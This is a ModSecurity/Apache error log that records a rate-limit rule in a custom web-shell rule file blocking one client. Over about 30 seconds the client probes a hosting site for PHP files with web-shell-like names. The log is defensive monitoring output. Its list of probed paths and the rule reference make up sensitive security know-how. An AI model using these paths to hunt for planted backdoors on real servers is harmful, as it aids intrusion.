[Tue Apr 14 22:01:12.438113 2026] [:error] [pid 59986:tid 60025] [client 20.188.36.87:13456] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ad5IqJ6axKeW6bX4H7eT1QAAAEU"]
[Tue Apr 14 22:01:12.908783 2026] [:error] [pid 59986:tid 60020] [client 20.188.36.87:13406] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "ad5IqJ6axKeW6bX4H7eT2QAAAEA"]
[Tue Apr 14 22:01:13.382520 2026] [:error] [pid 3778:tid 3803] [client 20.188.36.87:13539] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "ad5IqRx5DfpNmYF_PaH21AAAAVc"]
[Tue Apr 14 22:01:13.854092 2026] [:error] [pid 60074:tid 60094] [client 20.188.36.87:13385] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "ad5IqetqnEmNU9vpHCmzsgAAANI"]
[Tue Apr 14 22:01:14.323410 2026] [:error] [pid 59986:tid 60028] [client 20.188.36.87:13446] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "ad5Iqp6axKeW6bX4H7eT3QAAAEg"]
[Tue Apr 14 22:01:14.793929 2026] [:error] [pid 59985:tid 59995] [client 20.188.36.87:13422] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/5.php"] [unique_id "ad5IqugHaxkvLE6V1klsOQAAAAI"]
[Tue Apr 14 22:01:15.266781 2026] [:error] [pid 59986:tid 60021] [client 20.188.36.87:13563] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "ad5Iq56axKeW6bX4H7eT4QAAAEE"]
[Tue Apr 14 22:01:15.739342 2026] [:error] [pid 59986:tid 60039] [client 20.188.36.87:13457] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "ad5Iq56axKeW6bX4H7eT5QAAAFM"]
[Tue Apr 14 22:01:16.211341 2026] [:error] [pid 59986:tid 60024] [client 20.188.36.87:13462] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "ad5IrJ6axKeW6bX4H7eT6AAAAEQ"]
[Tue Apr 14 22:01:16.682521 2026] [:error] [pid 60074:tid 60097] [client 20.188.36.87:13394] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/6.php"] [unique_id "ad5IrOtqnEmNU9vpHCmztgAAANU"]
[Tue Apr 14 22:01:17.152394 2026] [:error] [pid 59986:tid 60041] [client 20.188.36.87:13525] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "ad5IrZ6axKeW6bX4H7eT7QAAAFU"]
[Tue Apr 14 22:01:17.623208 2026] [:error] [pid 59986:tid 60027] [client 20.188.36.87:13416] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "ad5IrZ6axKeW6bX4H7eT8wAAAEc"]
[Tue Apr 14 22:01:18.094123 2026] [:error] [pid 3778:tid 3780] [client 20.188.36.87:13411] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "ad5Irhx5DfpNmYF_PaH21gAAAUA"]
[Tue Apr 14 22:01:18.564841 2026] [:error] [pid 59985:tid 60004] [client 20.188.36.87:13478] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9.php"] [unique_id "ad5IrugHaxkvLE6V1klsPQAAAAs"]
[Tue Apr 14 22:01:19.036537 2026] [:error] [pid 59985:tid 59997] [client 20.188.36.87:13471] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "ad5Ir-gHaxkvLE6V1klsPgAAAAQ"]
[Tue Apr 14 22:01:19.507228 2026] [:error] [pid 59986:tid 60040] [client 20.188.36.87:13482] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "ad5Ir56axKeW6bX4H7eUCwAAAFQ"]
[Tue Apr 14 22:01:19.980265 2026] [:error] [pid 3778:tid 3800] [client 20.188.36.87:13558] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "ad5Irxx5DfpNmYF_PaH22gAAAVQ"]
[Tue Apr 14 22:01:20.453935 2026] [:error] [pid 3778:tid 3796] [client 20.188.36.87:13387] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "ad5IsBx5DfpNmYF_PaH22wAAAVA"]
[Tue Apr 14 22:01:20.925309 2026] [:error] [pid 59986:tid 60025] [client 20.188.36.87:13326] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/xaw.php"] [unique_id "ad5IsJ6axKeW6bX4H7eUGgAAAEU"]
[Tue Apr 14 22:01:21.397466 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:13474] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/xaw.php"] [unique_id "ad5IsZ6axKeW6bX4H7eUIAAAAEM"]
[Tue Apr 14 22:01:21.867822 2026] [:error] [pid 59986:tid 60025] [client 20.188.36.87:13476] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/xaw.php"] [unique_id "ad5IsZ6axKeW6bX4H7eUKQAAAEU"]
[Tue Apr 14 22:01:22.338097 2026] [:error] [pid 59987:tid 60059] [client 20.188.36.87:13475] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/files/xaw.php"] [unique_id "ad5IslWpk-Tfi6_vLKpBrAAAAIw"]
[Tue Apr 14 22:01:22.820696 2026] [:error] [pid 59987:tid 60050] [client 20.188.36.87:13410] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ad5IslWpk-Tfi6_vLKpBrQAAAIM"]
[Tue Apr 14 22:01:23.292512 2026] [:error] [pid 60074:tid 60081] [client 20.188.36.87:13458] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ad5Is-tqnEmNU9vpHCmz8wAAAMU"]
[Tue Apr 14 22:01:23.763497 2026] [:error] [pid 3810:tid 3828] [client 20.188.36.87:13494] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ad5Is8qc5XaYZhFXVGe4EwAAAY8"]
[Tue Apr 14 22:01:24.234743 2026] [:error] [pid 59986:tid 60037] [client 20.188.36.87:13440] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "ad5ItJ6axKeW6bX4H7eUQQAAAFE"]
[Tue Apr 14 22:01:24.714263 2026] [:error] [pid 59986:tid 60043] [client 20.188.36.87:13434] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ad5ItJ6axKeW6bX4H7eURQAAAFc"]
[Tue Apr 14 22:01:25.184701 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:13481] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ad5ItZ6axKeW6bX4H7eUSQAAAEM"]
[Tue Apr 14 22:01:25.654788 2026] [:error] [pid 59986:tid 60044] [client 20.188.36.87:13456] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ad5ItZ6axKeW6bX4H7eUSgAAAFg"]
[Tue Apr 14 22:01:26.126007 2026] [:error] [pid 22177:tid 22202] [client 20.188.36.87:13496] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/nastar.php"] [unique_id "ad5ItoTVeJSXHDIlEDuRcwAAARc"]
[Tue Apr 14 22:01:26.596988 2026] [:error] [pid 22177:tid 22191] [client 20.188.36.87:13384] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "ad5ItoTVeJSXHDIlEDuRdQAAAQw"]
[Tue Apr 14 22:01:27.067821 2026] [:error] [pid 3778:tid 3795] [client 20.188.36.87:13381] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "ad5Itxx5DfpNmYF_PaH24AAAAU8"]
[Tue Apr 14 22:01:27.538097 2026] [:error] [pid 3810:tid 3819] [client 20.188.36.87:13428] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "ad5It8qc5XaYZhFXVGe4IQAAAYY"]
[Tue Apr 14 22:01:28.009199 2026] [:error] [pid 59986:tid 60039] [client 20.188.36.87:13491] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35_S.php"] [unique_id "ad5IuJ6axKeW6bX4H7eUUwAAAFM"]
[Tue Apr 14 22:01:28.479198 2026] [:error] [pid 3810:tid 3815] [client 20.188.36.87:13363] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "ad5IuMqc5XaYZhFXVGe4IwAAAYI"]
[Tue Apr 14 22:01:28.949896 2026] [:error] [pid 60074:tid 60090] [client 20.188.36.87:13414] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "ad5IuOtqnEmNU9vpHCm0BgAAAM4"]
[Tue Apr 14 22:01:29.421694 2026] [:error] [pid 59986:tid 60022] [client 20.188.36.87:13552] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "ad5IuZ6axKeW6bX4H7eUVwAAAEI"]
[Tue Apr 14 22:01:29.893022 2026] [:error] [pid 60074:tid 60087] [client 20.188.36.87:13499] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2026w.php"] [unique_id "ad5IuetqnEmNU9vpHCm0BwAAAMs"]
[Tue Apr 14 22:01:30.371278 2026] [:error] [pid 3810:tid 3831] [client 20.188.36.87:13424] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "ad5Iusqc5XaYZhFXVGe4KAAAAZI"]
[Tue Apr 14 22:01:30.841701 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:13483] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/111.php"] [unique_id "ad5Iup6axKeW6bX4H7eUZAAAAFY"]
[Tue Apr 14 22:01:31.316019 2026] [:error] [pid 60074:tid 60080] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/111.php
[Tue Apr 14 22:01:31.554500 2026] [:error] [pid 60074:tid 60094] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/wp1.php
[Tue Apr 14 22:01:31.796148 2026] [:error] [pid 60074:tid 60088] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/aligk.php
[Tue Apr 14 22:01:32.037599 2026] [:error] [pid 60074:tid 60089] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/byrgo.php
[Tue Apr 14 22:01:32.277160 2026] [:error] [pid 60074:tid 60097] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/xwpg.php
[Tue Apr 14 22:01:32.517146 2026] [:error] [pid 60074:tid 60098] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/ass.php
[Tue Apr 14 22:01:32.757014 2026] [:error] [pid 60074:tid 60085] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Tue Apr 14 22:01:33.000707 2026] [:error] [pid 60074:tid 60076] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/no18.php
[Tue Apr 14 22:01:33.239538 2026] [:error] [pid 60074:tid 60083] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/fine.php
[Tue Apr 14 22:01:33.479032 2026] [:error] [pid 60074:tid 60091] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/zample.php
[Tue Apr 14 22:01:33.718868 2026] [:error] [pid 60074:tid 60078] [client 20.188.36.87:13400] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Tue Apr 14 22:01:33.955072 2026] [:error] [pid 60074:tid 60088] [client 20.188.36.87:13400] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ad5IvetqnEmNU9vpHCm0LQAAAMw"]
[Tue Apr 14 22:01:34.425610 2026] [:error] [pid 3778:tid 3795] [client 20.188.36.87:13320] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ad5Ivhx5DfpNmYF_PaH27QAAAU8"]
[Tue Apr 14 22:01:34.896114 2026] [:error] [pid 60074:tid 60100] [client 20.188.36.87:13532] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ad5IvutqnEmNU9vpHCm0MgAAANg"]
[Tue Apr 14 22:01:35.367456 2026] [:error] [pid 59986:tid 60038] [client 20.188.36.87:13380] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xa.php"] [unique_id "ad5Iv56axKeW6bX4H7eUjgAAAFI"]
[Tue Apr 14 22:01:35.841817 2026] [:error] [pid 22177:tid 22196] [client 20.188.36.87:13402] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "ad5Iv4TVeJSXHDIlEDuRdwAAARE"]
[Tue Apr 14 22:01:36.311392 2026] [:error] [pid 3810:tid 3821] [client 20.188.36.87:13486] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "ad5IwMqc5XaYZhFXVGe4cQAAAYg"]
[Tue Apr 14 22:01:36.782325 2026] [:error] [pid 22177:tid 22187] [client 20.188.36.87:13514] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "ad5IwITVeJSXHDIlEDuReAAAAQg"]
[Tue Apr 14 22:01:37.254417 2026] [:error] [pid 59986:tid 60033] [client 20.188.36.87:13339] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "ad5IwZ6axKeW6bX4H7eUmQAAAE0"]
[Tue Apr 14 22:01:37.726669 2026] [:error] [pid 22177:tid 22181] [client 20.188.36.87:13398] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ad5IwYTVeJSXHDIlEDuReQAAAQI"]
[Tue Apr 14 22:01:38.197744 2026] [:error] [pid 59986:tid 60043] [client 20.188.36.87:13388] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ad5Iwp6axKeW6bX4H7eUoQAAAFc"]
[Tue Apr 14 22:01:38.670630 2026] [:error] [pid 22177:tid 22190] [client 20.188.36.87:13350] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ad5IwoTVeJSXHDIlEDuRegAAAQs"]
[Tue Apr 14 22:01:39.139787 2026] [:error] [pid 59986:tid 60033] [client 20.188.36.87:13554] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/inege.php"] [unique_id "ad5Iw56axKeW6bX4H7eUqgAAAE0"]
